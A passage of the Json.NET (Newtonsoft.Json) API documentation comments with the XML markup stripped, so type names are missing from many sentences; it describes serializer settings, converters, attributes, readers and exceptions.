it is no longer needed. + + The minimum required length of the array. The returned array may be longer. + The rented array from the pool. This array must be returned when it is no longer needed. + + + + Return an array to the pool. + + The array that is being returned. + + + + Provides an interface to enable a class to return line and position information. + + + + + Gets a value indicating whether the class can return line information. + + + true if and can be provided; otherwise, false. + + + + + Gets the current line number. + + The current line number or 0 if no line information is available (for example, when returns false). + + + + Gets the current line position. + + The current line position or 0 if no line information is available (for example, when returns false). + + + + Instructs the how to serialize the collection. + + + + + Gets or sets a value indicating whether null items are allowed in the collection. + + true if null items are allowed in the collection; otherwise, false. + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class with a flag indicating whether the array can contain null items. + + A flag indicating whether the array can contain null items. + + + + Initializes a new instance of the class with the specified container Id. + + The container Id. + + + + Instructs the to use the specified constructor when deserializing that object. + + + + + Instructs the how to serialize the object. + + + + + Gets or sets the id. + + The id. + + + + Gets or sets the title. + + The title. + + + + Gets or sets the description. + + The description. + + + + Gets or sets the collection's items converter. + + The collection's items converter. + + + + The parameter list to use when constructing the described by . + If null, the default constructor is used. + When non-null, there must be a constructor defined in the that exactly matches the number, + order, and type of these parameters. + + + + [JsonContainer(ItemConverterType = typeof(MyContainerConverter), ItemConverterParameters = new object[] { 123, "Four" })] + + + + + + Gets or sets the of the . + + The of the . + + + + The parameter list to use when constructing the described by . + If null, the default constructor is used. + When non-null, there must be a constructor defined in the that exactly matches the number, + order, and type of these parameters. + + + + [JsonContainer(NamingStrategyType = typeof(MyNamingStrategy), NamingStrategyParameters = new object[] { 123, "Four" })] + + + + + + Gets or sets a value that indicates whether to preserve object references. + + + true to keep object reference; otherwise, false. The default is false. + + + + + Gets or sets a value that indicates whether to preserve collection's items references. + + + true to keep collection's items object references; otherwise, false. The default is false. + + + + + Gets or sets the reference loop handling used when serializing the collection's items. + + The reference loop handling. + + + + Gets or sets the type name handling used when serializing the collection's items. + + The type name handling. + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class with the specified container Id. + + The container Id. + + + + Provides methods for converting between .NET types and JSON types. + + + + + + + + Gets or sets a function that creates default . + Default settings are automatically used by serialization methods on , + and and on . + To serialize without using any default settings create a with + . + + + + + Represents JavaScript's boolean value true as a string. This field is read-only. + + + + + Represents JavaScript's boolean value false as a string. This field is read-only. + + + + + Represents JavaScript's null as a string. This field is read-only. + + + + + Represents JavaScript's undefined as a string. This field is read-only. + + + + + Represents JavaScript's positive infinity as a string. This field is read-only. + + + + + Represents JavaScript's negative infinity as a string. This field is read-only. + + + + + Represents JavaScript's NaN as a string. This field is read-only. + + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation using the specified. + + The value to convert. + The format the date will be converted to. + The time zone handling when the date is converted to a string. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation using the specified. + + The value to convert. + The format the date will be converted to. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + The string delimiter character. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + The string delimiter character. + The string escape handling. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Serializes the specified object to a JSON string. + + The object to serialize. + A JSON string representation of the object. + + + + Serializes the specified object to a JSON string using formatting. + + The object to serialize. + Indicates how the output should be formatted. + + A JSON string representation of the object. + + + + + Serializes the specified object to a JSON string using a collection of . + + The object to serialize. + A collection of converters used while serializing. + A JSON string representation of the object. + + + + Serializes the specified object to a JSON string using formatting and a collection of . + + The object to serialize. + Indicates how the output should be formatted. + A collection of converters used while serializing. + A JSON string representation of the object. + + + + Serializes the specified object to a JSON string using . + + The object to serialize. + The used to serialize the object. + If this is null, default serialization settings will be used. + + A JSON string representation of the object. + + + + + Serializes the specified object to a JSON string using a type, formatting and . + + The object to serialize. + The used to serialize the object. + If this is null, default serialization settings will be used. + + The type of the value being serialized. + This parameter is used when is to write out the type name if the type of the value does not match. + Specifying the type is optional. + + + A JSON string representation of the object. + + + + + Serializes the specified object to a JSON string using formatting and . + + The object to serialize. + Indicates how the output should be formatted. + The used to serialize the object. + If this is null, default serialization settings will be used. + + A JSON string representation of the object. + + + + + Serializes the specified object to a JSON string using a type, formatting and . + + The object to serialize. + Indicates how the output should be formatted. + The used to serialize the object. + If this is null, default serialization settings will be used. + + The type of the value being serialized. + This parameter is used when is to write out the type name if the type of the value does not match. + Specifying the type is optional. + + + A JSON string representation of the object. + + + + + Deserializes the JSON to a .NET object. + + The JSON to deserialize. + The deserialized object from the JSON string. + + + + Deserializes the JSON to a .NET object using . + + The JSON to deserialize. + + The used to deserialize the object. + If this is null, default serialization settings will be used. + + The deserialized object from the JSON string. + + + + Deserializes the JSON to the specified .NET type. + + The JSON to deserialize. + The of object being deserialized. + The deserialized object from the JSON string. + + + + Deserializes the JSON to the specified .NET type. + + The type of the object to deserialize to. + The JSON to deserialize. + The deserialized object from the JSON string. + + + + Deserializes the JSON to the given anonymous type. + + + The anonymous type to deserialize to. This can't be specified + traditionally and must be inferred from the anonymous type passed + as a parameter. + + The JSON to deserialize. + The anonymous type object. + The deserialized anonymous type from the JSON string. + + + + Deserializes the JSON to the given anonymous type using . + + + The anonymous type to deserialize to. This can't be specified + traditionally and must be inferred from the anonymous type passed + as a parameter. + + The JSON to deserialize. + The anonymous type object. + + The used to deserialize the object. + If this is null, default serialization settings will be used. + + The deserialized anonymous type from the JSON string. + + + + Deserializes the JSON to the specified .NET type using a collection of . + + The type of the object to deserialize to. + The JSON to deserialize. + Converters to use while deserializing. + The deserialized object from the JSON string. + + + + Deserializes the JSON to the specified .NET type using . + + The type of the object to deserialize to. + The object to deserialize. + + The used to deserialize the object. + If this is null, default serialization settings will be used. + + The deserialized object from the JSON string. + + + + Deserializes the JSON to the specified .NET type using a collection of . + + The JSON to deserialize. + The type of the object to deserialize. + Converters to use while deserializing. + The deserialized object from the JSON string. + + + + Deserializes the JSON to the specified .NET type using . + + The JSON to deserialize. + The type of the object to deserialize to. + + The used to deserialize the object. + If this is null, default serialization settings will be used. + + The deserialized object from the JSON string. + + + + Populates the object with values from the JSON string. + + The JSON to populate values from. + The target object to populate values onto. + + + + Populates the object with values from the JSON string using . + + The JSON to populate values from. + The target object to populate values onto. + + The used to deserialize the object. + If this is null, default serialization settings will be used. + + + + + Serializes the to a JSON string. + + The node to convert to JSON. + A JSON string of the . + + + + Serializes the to a JSON string using formatting. + + The node to convert to JSON. + Indicates how the output should be formatted. + A JSON string of the . + + + + Serializes the to a JSON string using formatting and omits the root object if is true. + + The node to serialize. + Indicates how the output should be formatted. + Omits writing the root object. + A JSON string of the . + + + + Deserializes the from a JSON string. + + The JSON string. + The deserialized . + + + + Deserializes the from a JSON string nested in a root element specified by . + + The JSON string. + The name of the root element to append when deserializing. + The deserialized . + + + + Deserializes the from a JSON string nested in a root element specified by + and writes a Json.NET array attribute for collections. + + The JSON string. + The name of the root element to append when deserializing. + + A value to indicate whether to write the Json.NET array attribute. + This attribute helps preserve arrays when converting the written XML back to JSON. + + The deserialized . + + + + Deserializes the from a JSON string nested in a root element specified by , + writes a Json.NET array attribute for collections, and encodes special characters. + + The JSON string. + The name of the root element to append when deserializing. + + A value to indicate whether to write the Json.NET array attribute. + This attribute helps preserve arrays when converting the written XML back to JSON. + + + A value to indicate whether to encode special characters when converting JSON to XML. + If true, special characters like ':', '@', '?', '#' and '$' in JSON property names aren't used to specify + XML namespaces, attributes or processing directives. Instead special characters are encoded and written + as part of the XML element name. + + The deserialized . + + + + Converts an object to and from JSON. + + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing value of object being read. + The calling serializer. + The object value. + + + + Determines whether this instance can convert the specified object type. + + Type of the object. + + true if this instance can convert the specified object type; otherwise, false. + + + + + Gets a value indicating whether this can read JSON. + + true if this can read JSON; otherwise, false. + + + + Gets a value indicating whether this can write JSON. + + true if this can write JSON; otherwise, false. + + + + Converts an object to and from JSON. + + The object type to convert. + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing value of object being read. + The calling serializer. + The object value. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing value of object being read. If there is no existing value then null will be used. + The existing value has a value. + The calling serializer. + The object value. + + + + Determines whether this instance can convert the specified object type. + + Type of the object. + + true if this instance can convert the specified object type; otherwise, false. + + + + + Instructs the to use the specified when serializing the member or class. + + + + + Gets the of the . + + The of the . + + + + The parameter list to use when constructing the described by . + If null, the default constructor is used. + + + + + Initializes a new instance of the class. + + Type of the . + + + + Initializes a new instance of the class. + + Type of the . + Parameter list to use when constructing the . Can be null. + + + + Represents a collection of . + + + + + Instructs the how to serialize the collection. + + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class with the specified container Id. + + The container Id. + + + + The exception thrown when an error occurs during JSON serialization or deserialization. + + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class + with a specified error message. + + The error message that explains the reason for the exception. + + + + Initializes a new instance of the class + with a specified error message and a reference to the inner exception that is the cause of this exception. + + The error message that explains the reason for the exception. + The exception that is the cause of the current exception, or null if no inner exception is specified. + + + + Instructs the to deserialize properties with no matching class member into the specified collection + and write values during serialization. + + + + + Gets or sets a value that indicates whether to write extension data when serializing the object. + + + true to write extension data when serializing the object; otherwise, false. The default is true. + + + + + Gets or sets a value that indicates whether to read extension data when deserializing the object. + + + true to read extension data when deserializing the object; otherwise, false. The default is true. + + + + + Initializes a new instance of the class. + + + + + Instructs the not to serialize the public field or public read/write property value. + + + + + Base class for a table of atomized string objects. + + + + + Gets a string containing the same characters as the specified range of characters in the given array. + + The character array containing the name to find. + The zero-based index into the array specifying the first character of the name. + The number of characters in the name. + A string containing the same characters as the specified range of characters in the given array. + + + + Instructs the how to serialize the object. + + + + + Gets or sets the member serialization. + + The member serialization. + + + + Gets or sets the missing member handling used when deserializing this object. + + The missing member handling. + + + + Gets or sets how the object's properties with null values are handled during serialization and deserialization. + + How the object's properties with null values are handled during serialization and deserialization. + + + + Gets or sets a value that indicates whether the object's properties are required. + + + A value indicating whether the object's properties are required. + + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class with the specified member serialization. + + The member serialization. + + + + Initializes a new instance of the class with the specified container Id. + + The container Id. + + + + Instructs the to always serialize the member with the specified name. + + + + + Gets or sets the type used when serializing the property's collection items. + + The collection's items type. + + + + The parameter list to use when constructing the described by . + If null, the default constructor is used. + When non-null, there must be a constructor defined in the that exactly matches the number, + order, and type of these parameters. + + + + [JsonProperty(ItemConverterType = typeof(MyContainerConverter), ItemConverterParameters = new object[] { 123, "Four" })] + + + + + + Gets or sets the of the . + + The of the . + + + + The parameter list to use when constructing the described by . + If null, the default constructor is used. + When non-null, there must be a constructor defined in the that exactly matches the number, + order, and type of these parameters. + + + + [JsonProperty(NamingStrategyType = typeof(MyNamingStrategy), NamingStrategyParameters = new object[] { 123, "Four" })] + + + + + + Gets or sets the null value handling used when serializing this property. + + The null value handling. + + + + Gets or sets the default value handling used when serializing this property. + + The default value handling. + + + + Gets or sets the reference loop handling used when serializing this property. + + The reference loop handling. + + + + Gets or sets the object creation handling used when deserializing this property. + + The object creation handling. + + + + Gets or sets the type name handling used when serializing this property. + + The type name handling. + + + + Gets or sets whether this property's value is serialized as a reference. + + Whether this property's value is serialized as a reference. + + + + Gets or sets the order of serialization of a member. + + The numeric order of serialization. + + + + Gets or sets a value indicating whether this property is required. + + + A value indicating whether this property is required. + + + + + Gets or sets the name of the property. + + The name of the property. + + + + Gets or sets the reference loop handling used when serializing the property's collection items. + + The collection's items reference loop handling. + + + + Gets or sets the type name handling used when serializing the property's collection items. + + The collection's items type name handling. + + + + Gets or sets whether this property's collection items are serialized as a reference. + + Whether this property's collection items are serialized as a reference. + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class with the specified name. + + Name of the property. + + + + Represents a reader that provides fast, non-cached, forward-only access to serialized JSON data. + + + + + Asynchronously reads the next JSON token from the source. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous read. The + property returns true if the next token was read successfully; false if there are no more tokens to read. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously skips the children of the current token. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously reads the next JSON token from the source as a of . + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous read. The + property returns the of . This result will be null at the end of an array. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously reads the next JSON token from the source as a []. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous read. The + property returns the []. This result will be null at the end of an array. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously reads the next JSON token from the source as a of . + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous read. The + property returns the of . This result will be null at the end of an array. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously reads the next JSON token from the source as a of . + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous read. The + property returns the of . This result will be null at the end of an array. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously reads the next JSON token from the source as a of . + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous read. The + property returns the of . This result will be null at the end of an array. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously reads the next JSON token from the source as a of . + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous read. The + property returns the of . This result will be null at the end of an array. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously reads the next JSON token from the source as a of . + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous read. The + property returns the of . This result will be null at the end of an array. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously reads the next JSON token from the source as a . + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous read. The + property returns the . This result will be null at the end of an array. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Specifies the state of the reader. + + + + + A read method has not been called. + + + + + The end of the file has been reached successfully. + + + + + Reader is at a property. + + + + + Reader is at the start of an object. + + + + + Reader is in an object. + + + + + Reader is at the start of an array. + + + + + Reader is in an array. + + + + + The method has been called. + + + + + Reader has just read a value. + + + + + Reader is at the start of a constructor. + + + + + Reader is in a constructor. + + + + + An error occurred that prevents the read operation from continuing. + + + + + The end of the file has been reached successfully. + + + + + Gets the current reader state. + + The current reader state. + + + + Gets or sets a value indicating whether the source should be closed when this reader is closed. + + + true to close the source when this reader is closed; otherwise false. The default is true. + + + + + Gets or sets a value indicating whether multiple pieces of JSON content can + be read from a continuous stream without erroring. + + + true to support reading multiple pieces of JSON content; otherwise false. + The default is false. + + + + + Gets the quotation mark character used to enclose the value of a string. + + + + + Gets or sets how time zones are handled when reading JSON. + + + + + Gets or sets how date formatted strings, e.g. "\/Date(1198908717056)\/" and "2012-03-21T05:40Z", are parsed when reading JSON. + + + + + Gets or sets how floating point numbers, e.g. 1.0 and 9.9, are parsed when reading JSON text. + + + + + Gets or sets how custom date formatted strings are parsed when reading JSON. + + + + + Gets or sets the maximum depth allowed when reading JSON. Reading past this depth will throw a . + A null value means there is no maximum. + The default value is 64. + + + + + Gets the type of the current JSON token. + + + + + Gets the text value of the current JSON token. + + + + + Gets the .NET type for the current JSON token. + + + + + Gets the depth of the current token in the JSON document. + + The depth of the current token in the JSON document. + + + + Gets the path of the current JSON token. + + + + + Gets or sets the culture used when reading JSON. Defaults to . + + + + + Initializes a new instance of the class. + + + + + Reads the next JSON token from the source. + + true if the next token was read successfully; false if there are no more tokens to read. + + + + Reads the next JSON token from the source as a of . + + A of . This method will return null at the end of an array. + + + + Reads the next JSON token from the source as a . + + A . This method will return null at the end of an array. + + + + Reads the next JSON token from the source as a []. + + A [] or null if the next JSON token is null. This method will return null at the end of an array. + + + + Reads the next JSON token from the source as a of . + + A of . This method will return null at the end of an array. + + + + Reads the next JSON token from the source as a of . + + A of . This method will return null at the end of an array. + + + + Reads the next JSON token from the source as a of . + + A of . This method will return null at the end of an array. + + + + Reads the next JSON token from the source as a of . + + A of . This method will return null at the end of an array. + + + + Reads the next JSON token from the source as a of . + + A of . This method will return null at the end of an array. + + + + Skips the children of the current token. + + + + + Sets the current token. + + The new token. + + + + Sets the current token and value. + + The new token. + The value. + + + + Sets the current token and value. + + The new token. + The value. + A flag indicating whether the position index inside an array should be updated. + + + + Sets the state based on current token type. + + + + + Releases unmanaged and - optionally - managed resources. + + true to release both managed and unmanaged resources; false to release only unmanaged resources. + + + + Changes the reader's state to . + If is set to true, the source is also closed. + + + + + The exception thrown when an error occurs while reading JSON text. + + + + + Gets the line number indicating where the error occurred. + + The line number indicating where the error occurred. + + + + Gets the line position indicating where the error occurred. + + The line position indicating where the error occurred. + + + + Gets the path to the JSON where the error occurred. + + The path to the JSON where the error occurred. + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class + with a specified error message. + + The error message that explains the reason for the exception. + + + + Initializes a new instance of the class + with a specified error message and a reference to the inner exception that is the cause of this exception. + + The error message that explains the reason for the exception. + The exception that is the cause of the current exception, or null if no inner exception is specified. + + + + Initializes a new instance of the class + with a specified error message, JSON path, line number, line position, and a reference to the inner exception that is the cause of this exception. + + The error message that explains the reason for the exception. + The path to the JSON where the error occurred. + The line number indicating where the error occurred. + The line position indicating where the error occurred. + The exception that is the cause of the current exception, or null if no inner exception is specified. + + + + Instructs the to always serialize the member, and to require that the member has a value. + + + + + The exception thrown when an error occurs during JSON serialization or deserialization. + + + + + Gets the line number indicating where the error occurred. + + The line number indicating where the error occurred. + + + + Gets the line position indicating where the error occurred. + + The line position indicating where the error occurred. + + + + Gets the path to the JSON where the error occurred. + + The path to the JSON where the error occurred. + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class + with a specified error message. + + The error message that explains the reason for the exception. + + + + Initializes a new instance of the class + with a specified error message and a reference to the inner exception that is the cause of this exception. + + The error message that explains the reason for the exception. + The exception that is the cause of the current exception, or null if no inner exception is specified. + + + + Initializes a new instance of the class + with a specified error message, JSON path, line number, line position, and a reference to the inner exception that is the cause of this exception. + + The error message that explains the reason for the exception. + The path to the JSON where the error occurred. + The line number indicating where the error occurred. + The line position indicating where the error occurred. + The exception that is the cause of the current exception, or null if no inner exception is specified. + + + + Serializes and deserializes objects into and from the JSON format. + The enables you to control how objects are encoded into JSON. + + + + + Occurs when the errors during serialization and deserialization. + + + + + Gets or sets the used by the serializer when resolving references. + + + + + Gets or sets the used by the serializer when resolving type names. + + + + + Gets or sets the used by the serializer when resolving type names. + + + + + Gets or sets the used by the serializer when writing trace messages. + + The trace writer. + + + + Gets or sets the equality comparer used by the serializer when comparing references. + + The equality comparer. + + + + Gets or sets how type name writing and reading is handled by the serializer. + The default value is . + + + should be used with caution when your application deserializes JSON from an external source. + Incoming types should be validated with a custom + when deserializing with a value other than . + + + + + Gets or sets how a type name assembly is written and resolved by the serializer. + The default value is . + + The type name assembly format. + + + + Gets or sets how a type name assembly is written and resolved by the serializer. + The default value is . + + The type name assembly format. + + + + Gets or sets how object references are preserved by the serializer. + The default value is . + + + + + Gets or sets how reference loops (e.g. a class referencing itself) is handled. + The default value is . + + + + + Gets or sets how missing members (e.g. JSON contains a property that isn't a member on the object) are handled during deserialization. + The default value is . + + + + + Gets or sets how null values are handled during serialization and deserialization. + The default value is . + + + + + Gets or sets how default values are handled during serialization and deserialization. + The default value is . + + + + + Gets or sets how objects are created during deserialization. + The default value is . + + The object creation handling. + + + + Gets or sets how constructors are used during deserialization. + The default value is . + + The constructor handling. + + + + Gets or sets how metadata properties are used during deserialization. + The default value is . + + The metadata properties handling. + + + + Gets a collection that will be used during serialization. + + Collection that will be used during serialization. + + + + Gets or sets the contract resolver used by the serializer when + serializing .NET objects to JSON and vice versa. + + + + + Gets or sets the used by the serializer when invoking serialization callback methods. + + The context. + + + + Indicates how JSON text output is formatted. + The default value is . + + + + + Gets or sets how dates are written to JSON text. + The default value is . + + + + + Gets or sets how time zones are handled during serialization and deserialization. + The default value is . + + + + + Gets or sets how date formatted strings, e.g. "\/Date(1198908717056)\/" and "2012-03-21T05:40Z", are parsed when reading JSON. + The default value is . + + + + + Gets or sets how floating point numbers, e.g. 1.0 and 9.9, are parsed when reading JSON text. + The default value is . + + + + + Gets or sets how special floating point numbers, e.g. , + and , + are written as JSON text. + The default value is . + + + + + Gets or sets how strings are escaped when writing JSON text. + The default value is . + + + + + Gets or sets how and values are formatted when writing JSON text, + and the expected date format when reading JSON text. + The default value is "yyyy'-'MM'-'dd'T'HH':'mm':'ss.FFFFFFFK". + + + + + Gets or sets the culture used when reading JSON. + The default value is . + + + + + Gets or sets the maximum depth allowed when reading JSON. Reading past this depth will throw a . + A null value means there is no maximum. + The default value is 64. + + + + + Gets a value indicating whether there will be a check for additional JSON content after deserializing an object. + The default value is false. + + + true if there will be a check for additional JSON content after deserializing an object; otherwise, false. + + + + + Initializes a new instance of the class. + + + + + Creates a new instance. + The will not use default settings + from . + + + A new instance. + The will not use default settings + from . + + + + + Creates a new instance using the specified . + The will not use default settings + from . + + The settings to be applied to the . + + A new instance using the specified . + The will not use default settings + from . + + + + + Creates a new instance. + The will use default settings + from . + + + A new instance. + The will use default settings + from . + + + + + Creates a new instance using the specified . + The will use default settings + from as well as the specified . + + The settings to be applied to the . + + A new instance using the specified . + The will use default settings + from as well as the specified . + + + + + Populates the JSON values onto the target object. + + The that contains the JSON structure to read values from. + The target object to populate values onto. + + + + Populates the JSON values onto the target object. + + The that contains the JSON structure to read values from. + The target object to populate values onto. + + + + Deserializes the JSON structure contained by the specified . + + The that contains the JSON structure to deserialize. + The being deserialized. + + + + Deserializes the JSON structure contained by the specified + into an instance of the specified type. + + The containing the object. + The of object being deserialized. + The instance of being deserialized. + + + + Deserializes the JSON structure contained by the specified + into an instance of the specified type. + + The containing the object. + The type of the object to deserialize. + The instance of being deserialized. + + + + Deserializes the JSON structure contained by the specified + into an instance of the specified type. + + The containing the object. + The of object being deserialized. + The instance of being deserialized. + + + + Serializes the specified and writes the JSON structure + using the specified . + + The used to write the JSON structure. + The to serialize. + + + + Serializes the specified and writes the JSON structure + using the specified . + + The used to write the JSON structure. + The to serialize. + + The type of the value being serialized. + This parameter is used when is to write out the type name if the type of the value does not match. + Specifying the type is optional. + + + + + Serializes the specified and writes the JSON structure + using the specified . + + The used to write the JSON structure. + The to serialize. + + The type of the value being serialized. + This parameter is used when is Auto to write out the type name if the type of the value does not match. + Specifying the type is optional. + + + + + Serializes the specified and writes the JSON structure + using the specified . + + The used to write the JSON structure. + The to serialize. + + + + Specifies the settings on a object. + + + + + Gets or sets how reference loops (e.g. a class referencing itself) are handled. + The default value is . + + Reference loop handling. + + + + Gets or sets how missing members (e.g. JSON contains a property that isn't a member on the object) are handled during deserialization. + The default value is . + + Missing member handling. + + + + Gets or sets how objects are created during deserialization. + The default value is . + + The object creation handling. + + + + Gets or sets how null values are handled during serialization and deserialization. + The default value is . + + Null value handling. + + + + Gets or sets how default values are handled during serialization and deserialization. + The default value is . + + The default value handling. + + + + Gets or sets a collection that will be used during serialization. + + The converters. + + + + Gets or sets how object references are preserved by the serializer. + The default value is . + + The preserve references handling. + + + + Gets or sets how type name writing and reading is handled by the serializer. + The default value is . + + + should be used with caution when your application deserializes JSON from an external source. + Incoming types should be validated with a custom + when deserializing with a value other than . + + The type name handling. + + + + Gets or sets how metadata properties are used during deserialization. + The default value is . + + The metadata properties handling. + + + + Gets or sets how a type name assembly is written and resolved by the serializer. + The default value is . + + The type name assembly format. + + + + Gets or sets how a type name assembly is written and resolved by the serializer. + The default value is . + + The type name assembly format. + + + + Gets or sets how constructors are used during deserialization. + The default value is . + + The constructor handling. + + + + Gets or sets the contract resolver used by the serializer when + serializing .NET objects to JSON and vice versa. + + The contract resolver. + + + + Gets or sets the equality comparer used by the serializer when comparing references. + + The equality comparer. + + + + Gets or sets the used by the serializer when resolving references. + + The reference resolver. + + + + Gets or sets a function that creates the used by the serializer when resolving references. + + A function that creates the used by the serializer when resolving references. + + + + Gets or sets the used by the serializer when writing trace messages. + + The trace writer. + + + + Gets or sets the used by the serializer when resolving type names. + + The binder. + + + + Gets or sets the used by the serializer when resolving type names. + + The binder. + + + + Gets or sets the error handler called during serialization and deserialization. + + The error handler called during serialization and deserialization. + + + + Gets or sets the used by the serializer when invoking serialization callback methods. + + The context. + + + + Gets or sets how and values are formatted when writing JSON text, + and the expected date format when reading JSON text. + The default value is "yyyy'-'MM'-'dd'T'HH':'mm':'ss.FFFFFFFK". + + + + + Gets or sets the maximum depth allowed when reading JSON. Reading past this depth will throw a . + A null value means there is no maximum. + The default value is 64. + + + + + Indicates how JSON text output is formatted. + The default value is . + + + + + Gets or sets how dates are written to JSON text. + The default value is . + + + + + Gets or sets how time zones are handled during serialization and deserialization. + The default value is . + + + + + Gets or sets how date formatted strings, e.g. "\/Date(1198908717056)\/" and "2012-03-21T05:40Z", are parsed when reading JSON. + The default value is . + + + + + Gets or sets how special floating point numbers, e.g. , + and , + are written as JSON. + The default value is . + + + + + Gets or sets how floating point numbers, e.g. 1.0 and 9.9, are parsed when reading JSON text. + The default value is . + + + + + Gets or sets how strings are escaped when writing JSON text. + The default value is . + + + + + Gets or sets the culture used when reading JSON. + The default value is . + + + + + Gets a value indicating whether there will be a check for additional content after deserializing an object. + The default value is false. + + + true if there will be a check for additional content after deserializing an object; otherwise, false. + + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class + using values copied from the passed in . + + + + + Represents a reader that provides fast, non-cached, forward-only access to JSON text data. + + + + + Asynchronously reads the next JSON token from the source. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous read. The + property returns true if the next token was read successfully; false if there are no more tokens to read. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously reads the next JSON token from the source as a of . + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous read. The + property returns the of . This result will be null at the end of an array. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously reads the next JSON token from the source as a []. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous read. The + property returns the []. This result will be null at the end of an array. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously reads the next JSON token from the source as a of . + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous read. The + property returns the of . This result will be null at the end of an array. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously reads the next JSON token from the source as a of . + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous read. The + property returns the of . This result will be null at the end of an array. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously reads the next JSON token from the source as a of . + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous read. The + property returns the of . This result will be null at the end of an array. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously reads the next JSON token from the source as a of . + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous read. The + property returns the of . This result will be null at the end of an array. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously reads the next JSON token from the source as a of . + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous read. The + property returns the of . This result will be null at the end of an array. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously reads the next JSON token from the source as a . + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous read. The + property returns the . This result will be null at the end of an array. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute 